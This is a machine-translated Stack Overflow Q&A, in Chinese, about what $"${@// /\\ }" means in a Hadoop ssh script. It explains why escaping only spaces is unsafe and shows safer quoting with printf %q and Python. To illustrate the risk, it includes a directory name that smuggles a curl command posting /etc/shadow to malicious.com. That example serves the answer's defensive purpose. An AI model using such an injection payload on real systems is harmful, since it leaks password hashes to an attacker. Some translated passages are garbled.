什么$“$ {@ // / \\}”在bash中意味着什么?

时间:2016-09-09 18:48:35

标签: bash shell hadoop

当我阅读Hadoop部署脚本时,我发现了以下代码:

ssh $HADOOP_SSH_OPTS $slave $"${@// /\\ }"

"${@// /\\ }"输入是一个简单的shell命令(参数扩展)。为什么在此命令之前添加$?这$""是什么意思?

2 个答案:

答案 0 :(得分:4)

这段代码很简单:打算转义本地脚本的参数列表,以便带有空格的参数可以通过ssh传输,但是这样做很糟糕(缺少某些类型的空白 - 和许多类元字符 - 以可利用的方式),并使用$""语法(执行转换表查找),没有任何可理解的理由这样做。

错误的事情(又名:它应该做什么,以及它如何失败)

第1部分:描述问题

将一系列参数传递给SSH并不能保证这些参数会以他们进入的方式出现! SSH将其参数列表展平为单个字符串,并仅将该字符串传输到远程系统。

因此:

# you might try to do this...
ssh remotehost printf '%s\n' "hello world" "goodbye world"

...看起来与远程系统完全相同:

# but it comes out exactly the same as this
ssh remotehost 'printf %s\n hello world goodbye world'

...因此消除了引号的影响。如果你想要第一个命令的效果,你实际需要的是这样的:

ssh remotehost "printf '%s\n' \"hello world\" \"goodbye world\""

...其中命令及其引号作为单个参数传递给SSH。

第2部分:尝试修复

语法"${var//string/replacement}"评估$var的内容,但string的每个实例都替换为replacement

语法"$@"扩展为给当前脚本的完整参数列表。

"${@//string/replacement}"扩展为完整的参数列表,但每个参数中的string的每个实例都替换为replacement

因此,"${@// /\\ }"扩展为完整的参数列表,但每个空格都替换为一个字符串,该字符串会在此空间中添加一个反斜杠。

因此修改了这个:

# would be right as a local command, but not over ssh!
ssh remotehost printf '%s\n' 'hello world' 'goodbye world'

对此:

# ...but with "${@// /\\ }", it becomes this:
ssh remotehost printf '%s\n' 'hello\ world' 'goodbye\ world'

...哪个SSH进入这个:

# ...which behaves just like this, which actually works:
ssh remotehost 'printf %s\n hello\ world goodbye\ world'

看起来很棒,对吗?除非它不是。

旁白:$“$ {/ ... // ...}”中的主要$是什么?

这是一个错误。这是有效的语法,因为$“”在bash中有一个有用的含义(将字符串查找为英文文本以查看是否存在对当前用户的本地语言的翻译),但是没有正当理由在此处进行翻译表查找。 / p>

为什么该代码是危险的错误

除了空格之外,还有很多东西可以逃脱,以便为shell评估做出安全保障!

假设你正在运行以下内容:

# copy directory structure to remote machine
src=/home/someuser/files
while read -r path; do
  ssh "$host" "mkdir -p $path"
done < <(find /home/someuser/files -type d -printf '%P\0')

看起来很安全,对吗?但是,让我们说someuser关于他们的文件权限(或恶意)很邋and,有人这样做:

mkdir $'/home/someuser/files/$(curl\t-X\tPOST\t-d\t/etc/shadow\thttp://malicious.com/)/'

哦,不!现在,如果您使用root权限运行该脚本,则会将/etc/shadow发送给malicious.com,以便他们在闲暇时尝试破解您的密码 - 并且你的问题无济于事,因为它只反斜杠 - 转义空格,而不是制表符或换行符,并且它不会对$()或反引号或其他可以控制shell的字符做任何事情。

正确的事(选项1:消耗Stdin)

通过ssh转义参数列表的安全且正确的方法如下:

#!/bin/bash

# tell bash to put a quoted string which will, if expanded by bash, evaluate
# to the original arguments to this script into cmd_str
printf -v cmd_str '%q ' "$@"

# on the remote system, run "bash -s", with the script to run fed on stdin
# this guarantees that the remote shell is bash, which printf %q quoted content
# to be parsed by.
ssh "$slave" "bash -s" <<EOF
$cmd_str
EOF

这种方法有一些固有的局限性 - 最重要的是,它需要远程命令的stdin用于脚本内容 - 但即使远程/bin/sh不支持bash扩展,例如$''

正确的事(选项2:使用Python)

与bash和ksh printf %q不同,Python标准库的pipes.quote()(在3.x中移动到shlex.quote())保证生成符合POSIX的输出。我们可以这样使用它:

posix_quote() {
  python -c 'import pipes, sys; print " ".join([pipes.quote(x) for x in sys.argv[1:]])' "$@"
}

cmd_str=$(posix_quote "$@")
ssh "$slave" "$cmd_str"

答案 1 :(得分:0)

包含空格的脚本的参数需要在命令行上用引号括起来。

${@// /\\ }将引用这个空格,以便接下来发生的扩展将空格作为另一个命令的参数的一部分。

无论如何,可能是一个例子。使用上面的行创建一个tst.sh并生成可执行文件。

echo '#!/bin/bash' > tst.sh
echo 'ssh $HADOOP_SSH_OPTS $slave $"${@// /\\ }"' >> tst.sh
chmod +x tst.sh

尝试在包含空格的目录的远程服务器(即slave)上运行mkdir命令,假设您有权访问具有用户ID server的{​​{1}}:

uid

由于引用了空格,您现在{/ 1}}所拥有的HADOOP_SSH_OPTS="-l uid" slave=server ./tst.sh mkdir "/tmp/dir with spaces" 上的/ tmp中有一个dir with spaces目录。

使用server

进行检查

如果你在一个不同的国家,并且真的想要一些非英语角色,那就是用$&#34; ...&#34;来维护,这也就是特定于语言环境的